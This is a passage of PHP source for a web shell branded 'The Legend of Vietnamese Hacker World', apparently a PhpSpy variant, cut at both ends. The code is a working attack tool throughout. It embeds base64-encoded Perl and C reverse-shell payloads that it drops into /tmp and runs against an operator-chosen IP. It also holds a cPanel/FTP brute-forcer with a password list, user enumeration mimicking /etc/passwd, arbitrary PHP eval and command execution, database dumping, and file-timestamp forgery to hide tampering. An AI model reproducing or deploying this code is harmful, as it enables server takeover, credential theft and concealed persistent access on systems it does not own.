0:\n\t\t\t\t\t\t\t\t\tp(\'<h2>Error : \'.mysql_error().\'</h2>\');\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 1:\n\t\t\t\t\t\t\t\t\tif (strtolower(substr($query,0,13)) == \'select * from\') {\n\t\t\t\t\t\t\t\t\t\t$allowedit = 1;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif ($getnumsql) {\n\t\t\t\t\t\t\t\t\t\t$tatol = mysql_num_rows(q($getnumsql));\n\t\t\t\t\t\t\t\t\t\t$multipage = multi($tatol, $pagenum, $page, $tablename);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif (!$tablename) {\n\t\t\t\t\t\t\t\t\t\t$sql_line = str_replace(array("\\r", "\\n", "\\t"), array(\' \', \' \', \' \'), trim(htmlspecialchars($query)));\n\t\t\t\t\t\t\t\t\t\t$sql_line = preg_replace("/\\/\\*[^(\\*\\/)]*\\*\\//i", " ", $sql_line);\n\t\t\t\t\t\t\t\t\t\tpreg_match_all("/from\\s+`{0,1}([\\w]+)`{0,1}\\s+/i",$sql_line,$matches);\n\t\t\t\t\t\t\t\t\t\t$tablename = $matches[1][0];\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$result = q($query);\n\t\t\t\t\t\t\t\t\tp($multipage);\n\t\t\t\t\t\t\t\t\tp(\'<table border="0" cellpadding="3" cellspacing="0">\');\n\t\t\t\t\t\t\t\t\tp(\'<tr class="head">\');\n\t\t\t\t\t\t\t\t\tif ($allowedit) p(\'<td>Action</td>\');\n\t\t\t\t\t\t\t\t\t$fieldnum = @mysql_num_fields($result);\n\t\t\t\t\t\t\t\t\tfor($i=0;$i<$fieldnum;$i++){\n\t\t\t\t\t\t\t\t\t\t$name = @mysql_field_name($result, $i);\n\t\t\t\t\t\t\t\t\t\t$type = @mysql_field_type($result, $i);\n\t\t\t\t\t\t\t\t\t\t$len = @mysql_field_len($result, $i);\n\t\t\t\t\t\t\t\t\t\tp("<td nowrap>$name<br><span>$type($len)</span></td>");\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tp(\'</tr>\');\n\t\t\t\t\t\t\t\t\twhile($mn = @mysql_fetch_assoc($result)){\n\t\t\t\t\t\t\t\t\t\t$thisbg = bg();\n\t\t\t\t\t\t\t\t\t\tp(\'<tr class="fout" onmouseover="this.className=\\\'focus\\\';" onmouseout="this.className=\\\'fout\\\';">\');\n\t\t\t\t\t\t\t\t\t\t$where = $tmp = $b1 = \'\';\n\t\t\t\t\t\t\t\t\t\tforeach($mn as $key=>$inside){\n\t\t\t\t\t\t\t\t\t\t\tif ($inside) {\n\t\t\t\t\t\t\t\t\t\t\t\t$where .= $tmp.$key."=\'".addslashes($inside)."\'";\n\t\t\t\t\t\t\t\t\t\t\t\t$tmp = \' AND \';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t$b1 .= \'<td nowrap>\'.html_clean($inside).\'&nbsp;</td>\';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t$where = base64_encode($where);\n\t\t\t\t\t\t\t\t\t\tif ($allowedit) p(\'<td nowrap><a href="javascript:editrecord(\\\'edit\\\', \\\'\'.$where.\'\\\', \\\'\'.$tablename.\'\\\');">Edit</a> | <a href="javascript:editrecord(\\\'del\\\', \\\'\'.$where.\'\\\', \\\'\'.$tablename.\'\\\');">Del</a></td>\');\n\t\t\t\t\t\t\t\t\t\tp($b1);\n\t\t\t\t\t\t\t\t\t\tp(\'</tr>\');\n\t\t\t\t\t\t\t\t\t\tunset($b1);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\ttbfoot();\n\t\t\t\t\t\t\t\t\tp($multipage);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 2:\n\t\t\t\t\t\t\t\t\t$ar = mysql_affected_rows();\n\t\t\t\t\t\t\t\t\tp(\'<h2>affected rows : <b>\'.$ar.\'</b></h2>\');\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$query = q("SHOW TABLE STATUS");\n\t\t\t\t$table_num = $table_rows = $data_size = 0;\n\t\t\t\t$tabledb = array();\n\t\t\t\twhile($table = mysql_fetch_array($query)) {\n\t\t\t\t\t$data_size = $data_size + $table[\'Data_length\'];\n\t\t\t\t\t$table_rows = $table_rows + $table[\'Rows\'];\n\t\t\t\t\t$table[\'Data_length\'] = sizecount($table[\'Data_length\']);\n\t\t\t\t\t$table_num++;\n\t\t\t\t\t$tabledb[] = $table;\n\t\t\t\t}\n\t\t\t\t$data_size = sizecount($data_size);\n\t\t\t\tunset($table);\n\t\t\t\tp(\'<table border="0" cellpadding="0" cellspacing="0">\');\n\t\t\t\tp(\'<form action="\'.$self.\'" method="POST">\');\n\t\t\t\tmakehide(\'action\',\'sqladmin\');\n\t\t\t\tp($dbform);\n\t\t\t\tp(\'<tr class="head">\');\n\t\t\t\tp(\'<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>\');\n\t\t\t\tp(\'<td>Name</td>\');\n\t\t\t\tp(\'<td>Rows</td>\');\n\t\t\t\tp(\'<td>Data_length</td>\');\n\t\t\t\tp(\'<td>Create_time</td>\');\n\t\t\t\tp(\'<td>Update_time</td>\');\n\t\t\t\tif ($highver) {\n\t\t\t\t\tp(\'<td>Engine</td>\');\n\t\t\t\t\tp(\'<td>Collation</td>\');\n\t\t\t\t}\n\t\t\t\tp(\'</tr>\');\n\t\t\t\tforeach ($tabledb as $key => $table) {\n\t\t\t\t\t$thisbg = bg();\n\t\t\t\t\tp(\'<tr class="fout" onmouseover="this.className=\\\'focus\\\';" onmouseout="this.className=\\\'fout\\\';">\');\n\t\t\t\t\tp(\'<td align="center" width="2%"><input type="checkbox" name="table[]" value="\'.$table[\'Name\'].\'" /></td>\');\n\t\t\t\t\tp(\'<td><a href="javascript:settable(\\\'\'.$table[\'Name\'].\'\\\');">\'.$table[\'Name\'].\'</a> [ <a href="javascript:settable(\\\'\'.$table[\'Name\'].\'\\\', \\\'insert\\\');">Insert</a> | <a href="javascript:settable(\\\'\'.$table[\'Name\'].\'\\\', \\\'structure\\\');">Structure</a> | <a href="javascript:settable(\\\'\'.$table[\'Name\'].\'\\\', \\\'drop\\\');">Drop</a> ]</td>\');\n\t\t\t\t\tp(\'<td>\'.$table[\'Rows\'].\'</td>\');\n\t\t\t\t\tp(\'<td>\'.$table[\'Data_length\'].\'</td>\');\n\t\t\t\t\tp(\'<td>\'.$table[\'Create_time\'].\'</td>\');\n\t\t\t\t\tp(\'<td>\'.$table[\'Update_time\'].\'</td>\');\n\t\t\t\t\tif ($highver) {\n\t\t\t\t\t\tp(\'<td>\'.$table[\'Engine\'].\'</td>\');\n\t\t\t\t\t\tp(\'<td>\'.$table[\'Collation\'].\'</td>\');\n\t\t\t\t\t}\n\t\t\t\t\tp(\'</tr>\');\n\t\t\t\t}\n\t\t\t\tp(\'<tr class=fout>\');\n\t\t\t\tp(\'<td>&nbsp;</td>\');\n\t\t\t\tp(\'<td>Total tables: \'.$table_num.\'</td>\');\n\t\t\t\tp(\'<td>\'.$table_rows.\'</td>\');\n\t\t\t\tp(\'<td>\'.$data_size.\'</td>\');\n\t\t\t\tp(\'<td colspan="\'.($highver ? 4 : 2).\'">&nbsp;</td>\');\n\t\t\t\tp(\'</tr>\');\n\n\t\t\t\tp("<tr class=\\"fout\\"><td colspan=\\"".($highver ? 8 : 6)."\\"><input name=\\"saveasfile\\" value=\\"1\\" type=\\"checkbox\\" /> Save as file <input class=\\"input\\" name=\\"path\\" value=\\"".SA_ROOT.$_SERVER[\'HTTP_HOST\']."_MySQL.sql\\" type=\\"text\\" size=\\"60\\" /> <input class=\\"bt\\" type=\\"submit\\" name=\\"downrar\\" value=\\"Export selection table\\" /></td></tr>");\n\t\t\t\tmakehide(\'doing\',\'backupmysql\');\n\t\t\t\tformfoot();\n\t\t\t\tp("</table>");\n\t\t\t\tfr($query);\n\t\t\t}\n\t\t}\n\t}\n\ttbfoot();\n\t@mysql_close();\n}//end sql backup\n\n\nelseif ($action == \'backconnect\') {\n\t!$yourip && $yourip = $_SERVER[\'REMOTE_ADDR\'];\n\t!$yourport && $yourport = \'12345\';\n\t$usedb = array(\'perl\'=>\'perl\',\'c\'=>\'c\');\n\n\t$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".\n\t\t"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".\n\t\t"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".\n\t\t"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".\n\t\t"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".\n\t\t"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".\n\t\t"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";\n\t$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".\n\t\t"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".\n\t\t"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".\n\t\t"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".\n\t\t"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".\n\t\t"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".\n\t\t"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".\n\t\t"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";\n\n\tif ($start && $yourip && $yourport && $use){\n\t\tif ($use == \'perl\') {\n\t\t\tcf(\'/tmp/angel_bc\',$back_connect);\n\t\t\t$res = execute(which(\'perl\')." /tmp/angel_bc $yourip $yourport &");\n\t\t} else {\n\t\t\tcf(\'/tmp/angel_bc.c\',$back_connect_c);\n\t\t\t$res = execute(\'gcc -o /tmp/angel_bc /tmp/angel_bc.c\');\n\t\t\t@unlink(\'/tmp/angel_bc.c\');\n\t\t\t$res = execute("/tmp/angel_bc $yourip $yourport &");\n\t\t}\n\t\tm("Now script try connect to $yourip port $yourport ...");\n\t}\n\n\tformhead(array(\'title\'=>\'Back Connect\'));\n\tmakehide(\'action\',\'backconnect\');\n\tp(\'<p>\');\n\tp(\'Your IP:\');\n\tmakeinput(array(\'name\'=>\'yourip\',\'size\'=>20,\'value\'=>$yourip));\n\tp(\'Your Port:\');\n\tmakeinput(array(\'name\'=>\'yourport\',\'size\'=>15,\'value\'=>$yourport));\n\tp(\'Use:\');\n\tmakeselect(array(\'name\'=>\'use\',\'option\'=>$usedb,\'selected\'=>$use));\n\tmakeinput(array(\'name\'=>\'start\',\'value\'=>\'Start\',\'type\'=>\'submit\',\'class\'=>\'bt\'));\n\tp(\'</p>\');\n\tformfoot();\n}//end backconnect window via NC\n\n// Brute\nelseif ($action == \'brute\') {\nformhead(array(\'title\'=>\'Brute Forcer\'));\n\tmakehide(\'action\',\'brute\');\n\tmakehide(\'dir\',$brute);\n@ini_set(\'memory_limit\', 1000000000000);\n$connect_timeout=5;\n@set_time_limit(0);\n$submit = $_REQUEST[\'submit\'];\n$users = $_REQUEST[\'users\'];\n$pass = $_REQUEST[\'passwords\'];\n$target = $_REQUEST[\'target\'];\n$option = $_REQUEST[\'option\'];\n\n\n$passlist = "0123456\n01234567\n012345678\n0123456789\n01234567890\n123456\n1234567\n12345678\n123456789\n1234567890\n111111\n000000\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999\n123123\n456456\n789789\n123321\n456654\n654321\n7654321\n87654321\n987654321\n0987654321\nadmin\nadministrator\nadmincp\ncpanel\nadminx\nadmins\npassword\npasswords\npassw0rd\np@ssw0rd\np@ssword\nkhongco\n25251325\npassw0rds";\nif($target == \'\'){\n$target = \'localhost\';\n}\nprint " <div align=\'center\'>\n<form method=\'post\' style=\'border: 1px solid #000000\'><br><br>\n<TABLE style=\'BORDER-COLLAPSE: collapse\' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width=\'40%\' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>\n<b> Target  : </font><input type=\'text\' name=\'target\' size=\'16\' value= $target style=\'border: font-family:tahoma; font-weight:bold;\'></p></font></b></p>\n<div align=\'center\'><br>\n<TABLE style=\'BORDER-COLLAPSE: collapse\' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width=\'50%\' bgColor=#303030 borderColorLight=#966117 border=1>\n<tr>\n<td align=\'center\'>\n<b>Username</b></td>\n<td>\n<p align=\'center\'>\n<b>Password</b></td>\n</tr>\n</table>\n<p align=\'center\'>\n<textarea rows=\'20\' name=\'users\' cols=\'25\' style=\'border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0\'>";\n$i = 0;\nwhile ($i < 60000) {\n\n    $line = posix_getpwuid($i);\n    if (!empty($line)) {\n\n        while (list ($key, $vba_etcpwd) = each($line)){\n            echo "".$vba_etcpwd."\\n";\n            break;\n        }\n\n    }\n\n   $i++;\n}\necho "\n</textarea>\n<textarea rows=\'20\' name=\'passwords\' cols=\'25\' style=\'border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0\'>$passlist</textarea><br>\n<br>\n<b>Options : </span><input name=\'option\' value=\'cpanel\' style=\'font-weight: 700;\' checked type=\'radio\'> cPanel\n<input name=\'option\' value=\'ftp\' style=\'font-weight: 700;\' type=\'radio\'> ftp ==> <input type=\'submit\' value=\'Attack\' name=\'submit\' ></p>\n</td></tr></table></td></tr></form><p align= \'left\'>";\n?>\n<?php\nfunction ftp_check($host,$user,$pass,$timeout){\n$ch = curl_init();\ncurl_setopt($ch, CURLOPT_URL, "ftp://$host");\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\ncurl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\ncurl_setopt($ch, CURLOPT_FTPLISTONLY, 1);\ncurl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");\ncurl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);\ncurl_setopt($ch, CURLOPT_FAILONERROR, 1);\n$data = curl_exec($ch);\nif ( curl_errno($ch) == 28 ) {\n\nprint "<b> Error : Connection timed out , make confidence about validation of target !</b>";\nexit;}\n\nelseif ( curl_errno($ch) == 0 ){\n\np("<b>[ attack@vbateam.net ]# </b>\n<b> Attacking has been done! Username: <font color=\'#FF0000\'> $user </font> / Password:<font color=\'#FF0000\'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");\n}\ncurl_close($ch);}\n\nfunction cpanel_check($host,$user,$pass,$timeout){\n$ch = curl_init();\ncurl_setopt($ch, CURLOPT_URL, "http://$host:2082");\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\ncurl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\ncurl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");\ncurl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);\ncurl_setopt($ch, CURLOPT_FAILONERROR, 1);\n$data = curl_exec($ch);\nif ( curl_errno($ch) == 28 ) {\nprint "<b> Error : Connection timed out , make confidence about validation of target !</b>";\nexit;}\nelseif ( curl_errno($ch) == 0 ){\n\np("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color=\'#FF0000\'> $user </font> / Password:<font color=\'#FF0000\'> $pass </font></b><br>");}curl_close($ch);}\n\nif(isset($submit) && !empty($submit)){\n\n$userlist = explode ("\\n" , $users );\n$passlist = explode ("\\n" , $pass );\np(\'<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>\');\nforeach ($userlist as $user) {\n$_user = trim($user);\nforeach ($passlist as $password ) {\n$_pass = trim($password);\nif($option == "ftp"){\nftp_check($target,$_user,$_pass,$connect_timeout);\n}\nif ($option == "cpanel")\n{\ncpanel_check($target,$_user,$_pass,$connect_timeout);\n}\n}\n}\n}\n\n\tformfoot();\n}\n\n\n\n\n\n\nelseif ($action == \'etcpwd\') {\nformhead(array(\'title\'=>\'Get /etc/passwd\'));\n\tmakehide(\'action\',\'etcpwd\');\n\tmakehide(\'dir\',$nowpath);\n$i = 0;\n echo "<p><br><textarea class=\\"area\\" id=\\"phpcodexxx\\" name=\\"phpcodexxx\\" cols=\\"100\\" rows=\\"25\\">";\nwhile ($i < 60000) {\n\n    $line = posix_getpwuid($i);\n    if (!empty($line)) {\n\n        while (list ($key, $vba_etcpwd) = each($line)){\n            echo "".$vba_etcpwd."\\n";\n            break;\n        }\n\n    }\n\n   $i++;\n}\n  echo "</textarea></p>";\n\tformfoot();\n}\n\nelseif ($action == \'eval\') {\n\t$phpcode = trim($phpcode);\n\tif($phpcode){\n\t\tif (!preg_match(\'#<\\?#si\', $phpcode)) {\n\t\t\t$phpcode = "<?php\\n\\n{$phpcode}\\n\\n?>";\n\t\t}\n\t\teval("?".">$phpcode<?");\n\t}\n\tformhead(array(\'title\'=>\'Eval PHP Code\'));\n\tmakehide(\'action\',\'eval\');\n\tmaketext(array(\'title\'=>\'PHP Code\',\'name\'=>\'phpcode\', \'value\'=>$phpcode));\n\tp(\'<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>\');\n\tformfooter();\n}//end eval\n\nelseif ($action == \'editfile\') {\n\tif(file_exists($opfile)) {\n\t\t$fp=@fopen($opfile,\'r\');\n\t\t$contents=@fread($fp, filesize($opfile));\n\t\t@fclose($fp);\n\t\t$contents=htmlspecialchars($contents);\n\t}\n\tformhead(array(\'title\'=>\'Create / Edit File\'));\n\tmakehide(\'action\',\'file\');\n\tmakehide(\'dir\',$nowpath);\n\tmakeinput(array(\'title\'=>\'Current File (import new file name and new file)\',\'name\'=>\'editfilename\',\'value\'=>$opfile,\'newline\'=>1));\n\tmaketext(array(\'title\'=>\'File Content\',\'name\'=>\'filecontent\',\'value\'=>$contents));\n\tformfooter();\n}//end editfile\n\nelseif ($action == \'newtime\') {\n\t$opfilemtime = @filemtime($opfile);\n\t//$time = strtotime("$year-$month-$day $hour:$minute:$second");\n\t$cachemonth = array(\'January\'=>1,\'February\'=>2,\'March\'=>3,\'April\'=>4,\'May\'=>5,\'June\'=>6,\'July\'=>7,\'August\'=>8,\'September\'=>9,\'October\'=>10,\'November\'=>11,\'December\'=>12);\n\tformhead(array(\'title\'=>\'Clone file was last modified time\'));\n\tmakehide(\'action\',\'file\');\n\tmakehide(\'dir\',$nowpath);\n\tmakeinput(array(\'title\'=>\'Alter file\',\'name\'=>\'curfile\',\'value\'=>$opfile,\'size\'=>120,\'newline\'=>1));\n\tmakeinput(array(\'title\'=>\'Reference file (fullpath)\',\'name\'=>\'tarfile\',\'size\'=>120,\'newline\'=>1));\n\tformfooter();\n\tformhead(array(\'title\'=>\'Set last modified\'));\n\tmakehide(\'action\',\'file\');\n\tmakehide(\'dir\',$nowpath);\n\tmakeinput(array(\'title\'=>\'Current file (fullpath)\',\'name\'=>\'curfile\',\'value\'=>$opfile,\'size\'=>120,\'newline\'=>1));\n\tp(\'<p>Instead &raquo;\');\n\tp(\'year:\');\n\tmakeinput(array(\'name\'=>\'year\',\'value\'=>date(\'Y\',$opfilemtime),\'size\'=>4));\n\tp(\'month:\');\n\tmakeinput(array(\'name\'=>\'month\',\'value\'=>date(\'m\',$opfilemtime),\'size\'=>2));\n\tp(\'day:\');\n\tmakeinput(array(\'name\'=>\'day\',\'value\'=>date(\'d\',$opfilemtime),\'size\'=>2));\n\tp(\'hour:\');\n\tmakeinput(array(\'name\'=>\'hour\',\'value\'=>date(\'H\',$opfilemtime),\'size\'=>2));\n\tp(\'minute:\');\n\tmakeinput(array(\'name\'=>\'minute\',\'value\'=>date(\'i\',$opfilemtime),\'size\'=>2));\n\tp(\'second:\');\n\tmakeinput(array(\'name\'=>\'second\',\'value\'=>date(\'s\',$opfilemtime),\'size\'=>2));\n\tp(\'</p>\');\n\tformfooter();\n}//end newtime\n\nelseif ($action == \'shell\') {\n\tif (IS_WIN && IS_COM) {\n\t\tif($program && $parameter) {\n\t\t\t$shell= new COM(\'Shell.Application\');\n\t\t\t$a = $shell->ShellExecute($program,$parameter);\n\t\t\tm(\'Program run has \'.(!$a ? \'success\' : \'fail\'));\n\t\t}\n\t\t!$program && $program = \'c:\\windows\\system32\\cmd.exe\';\n\t\t!$parameter && $parameter = \'/c net start > \'.SA_ROOT.\'log.txt\';\n\t\tformhead(array(\'title\'=>\'Execute Program\'));\n\t\tmakehide(\'action\',\'shell\');\n\t\tmakeinput(array(\'title\'=>\'Program\',\'name\'=>\'program\',\'value\'=>$program,\'newline\'=>1));\n\t\tp(\'<p>\');\n\t\tmakeinput(array(\'title\'=>\'Parameter\',\'name\'=>\'parameter\',\'value\'=>$parameter));\n\t\tmakeinput(array(\'name\'=>\'submit\',\'class\'=>\'bt\',\'type\'=>\'submit\',\'value\'=>\'Execute\'));\n\t\tp(\'</p>\');\n\t\tformfoot();\n\t}\n\tformhead(array(\'title\'=>\'Execute Command\'));\n\tmakehide(\'action\',\'shell\');\n\tif (IS_WIN && IS_COM) {\n\t\t$execfuncdb = array(\'phpfunc\'=>\'phpfunc\',\'wscript\'=>\'wscript\',\'proc_open\'=>\'proc_open\');\n\t\tmakeselect(array(\'title\'=>\'Use:\',\'name\'=>\'execfunc\',\'option\'=>$execfuncdb,\'selected\'=>$execfunc,\'newline\'=>1));\n\t}\n\tp(\'<p>\');\n\tmakeinput(array(\'title\'=>\'Command\',\'name\'=>\'command\',\'value\'=>$command));\n\tmakeinput(array(\'name\'=>\'submit\',\'class\'=>\'bt\',\'type\'=>\'submit\',\'value\'=>\'Execute\'));\n\tp(\'</p>\');\n\tformfoot();\n\n\tif ($command) {\n\t\tp(\'<hr width="100%" noshade /><pre>\');\n\t\tif ($execfunc==\'wscript\' && IS_WIN && IS_COM) {\n\t\t\t$wsh = new COM(\'WScript.shell\');\n\t\t\t$exec = $wsh->exec(\'cmd.exe /c \'.$command);\n\t\t\t$stdout = $exec->StdOut();\n\t\t\t$stroutput = $stdout->ReadAll();\n\t\t\techo $stroutput;\n\t\t} elseif ($execfunc==\'proc_open\' && IS_WIN && IS_COM) {\n\t\t\t$descriptorspec = array(\n\t\t\t   0 => array(\'pipe\', \'r\'),\n\t\t\t   1 => array(\'pipe\', \'w\'),\n\t\t\t   2 => array(\'pipe\', \'w\')\n\t\t\t);\n\t\t\t$process = proc_open($_SERVER[\'COMSPEC\'], $descriptorspec, $pipes);\n\t\t\tif (is_resource($process)) {\n\t\t\t\tfwrite($pipes[0], $command."\\r\\n");\n\t\t\t\tfwrite($pipes[0], "exit\\r\\n");\n\t\t\t\tfclose($pipes[0]);\n\t\t\t\twhile (!feof($pipes[1])) {\n\t\t\t\t\techo fgets($pipes[1], 1024);\n\t\t\t\t}\n\t\t\t\tfclose($pipes[1]);\n\t\t\t\twhile (!feof($pipes[2])) {\n\t\t\t\t\techo fgets($pipes[2], 1024);\n\t\t\t\t}\n\t\t\t\tfclose($pipes[2]);\n\t\t\t\tproc_close($process);\n\t\t\t}\n\t\t} else {\n\t\t\techo(execute($command));\n\t\t}\n\t\tp(\'</pre>\');\n\t}\n}//end shell\n\nelseif ($action == \'phpenv\') {\n\t$upsize=getcfg(\'file_uploads\') ? getcfg(\'upload_max_filesize\') : \'Not allowed\';\n\t$adminmail=isset($_SERVER[\'SERVER_ADMIN\']) ? $_SERVER[\'SERVER_ADMIN\'] : getcfg(\'sendmail_from\');\n\t!$dis_func && $dis_func = \'No\';\n\t$info = array(\n\t\t1 => array(\'Server Time\',date(\'Y/m/d h:i:s\',$timestamp)),\n\t\t2 => array(\'Server Domain\',$_SERVER[\'SERVER_NAME\']),\n\t\t3 => array(\'Server IP\',gethostbyname($_SERVER[\'SERVER_NAME\'])),\n\t\t4 => array(\'Server OS\',PHP_OS),\n\t\t5 => array(\'Server OS Charset\',$_SERVER[\'HTTP_ACCEPT_LANGUAGE\']),\n\t\t6 => array(\'Server Software\',$_SERVER[\'SERVER_SOFTWARE\']),\n\t\t7 => array(\'Server Web Port\',$_SERVER[\'SERVER_PORT\']),\n\t\t8 => array(\'PHP run mode\',strtoupper(php_sapi_name())),\n\t\t9 => array(\'The file path\',__FILE__),\n\n\t\t10 => array(\'PHP Version\',PHP_VERSION),\n\t\t11 => array(\'PHPINFO\',(IS_PHPINFO ? \'<a href="javascript:goaction(\\\'phpinfo\\\');">Yes</a>\' : \'No\')),\n\t\t12 => array(\'Safe Mode\',getcfg(\'safe_mode\')),\n\t\t13 => array(\'Administrator\',$adminmail),\n\t\t14 => array(\'allow_url_fopen\',getcfg(\'allow_url_fopen\')),\n\t\t15 => array(\'enable_dl\',getcfg(\'enable_dl\')),\n\t\t16 => array(\'display_errors\',getcfg(\'display_errors\')),\n\t\t17 => array(\'register_globals\',getcfg(\'register_globals\')),\n\t\t18 => array(\'magic_quotes_gpc\',getcfg(\'magic_quotes_gpc\')),\n\t\t19 => array(\'memory_limit\',getcfg(\'memory_limit\')),\n\t\t20 => array(\'post_max_size\',getcfg(\'post_max_size\')),\n\t\t21 => array(\'upload_max_filesize\',$upsize),\n\t\t22 => array(\'max_execution_time\',getcfg(\'max_execution_time\').\' second(s)\'),\n\t\t23 => array(\'disable_functions\',$dis_func),\n\t);\n\n\tif($phpvarname) {\n\t\tm($phpvarname .\' : \'.getcfg($phpvarname));\n\t}\n\n\tformhead(array(\'title\'=>\'Server environment\'));\n\tmakehide(\'action\',\'phpenv\');\n\tmakeinput(array(\'title\'=>\'Please input PHP configuration parameter(eg:magic_quotes_gpc)\',\'name\'=>\'phpvarname\',\'value\'=>$phpvarname,\'newline\'=>1));\n\tformfooter();\n\n\t$hp = array(0=> \'Server\', 1=> \'PHP\');\n\tfor($a=0;$a<2;$a++) {\n\t\tp(\'<h2>\'.$hp[$a].\' &raquo;</h2>\');\n\t\tp(\'<ul class="info">\');\n\t\tif ($a==0) {\n\t\t\tfor($i=1;$i<=9;$i++) {\n\t\t\t\tp(\'<li><u>\'.$info[$i][0].\':</u>\'.$info[$i][1].\'</li>\');\n\t\t\t}\n\t\t} elseif ($a == 1) {\n\t\t\tfor($i=10;$i<=23;$i++) {\n\t\t\t\tp(\'<li><u>\'.$info[$i][0].\':</u>\'.$info[$i][1].\'</li>\');\n\t\t\t}\n\t\t}\n\t\tp(\'</ul>\');\n\t}\n}//end phpenv\n\nelse {\n\tm(\'Undefined Action\');\n}\n\n?>\n</td></tr></table>\n<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">\n\t<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>\n\t<B>The Legend of Vietnamese Hacker World</B> All Rights Reserved.\n</div>\n</body>\n</html>\n\n<?php\n\n/*======================================================\nShow info shell\n======================================================*/\n\nfunction m($msg) {\n\techo \'<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">\';\n\techo $msg;\n\techo \'</div>\';\n}\nfunction scookie($key, $value, $life = 0, $prefix = 1) {\n\tglobal $admin, $timestamp, $_SERVER;\n\t$key = ($prefix ? $admin[\'cookiepre\'] : \'\').$key;\n\t$life = $life ? $life : $admin[\'cookielife\'];\n\t$useport = $_SERVER[\'SERVER_PORT\'] == 443 ? 1 : 0;\n\tsetcookie($key, $value, $timestamp+$life, $admin[\'cookiepath\'], 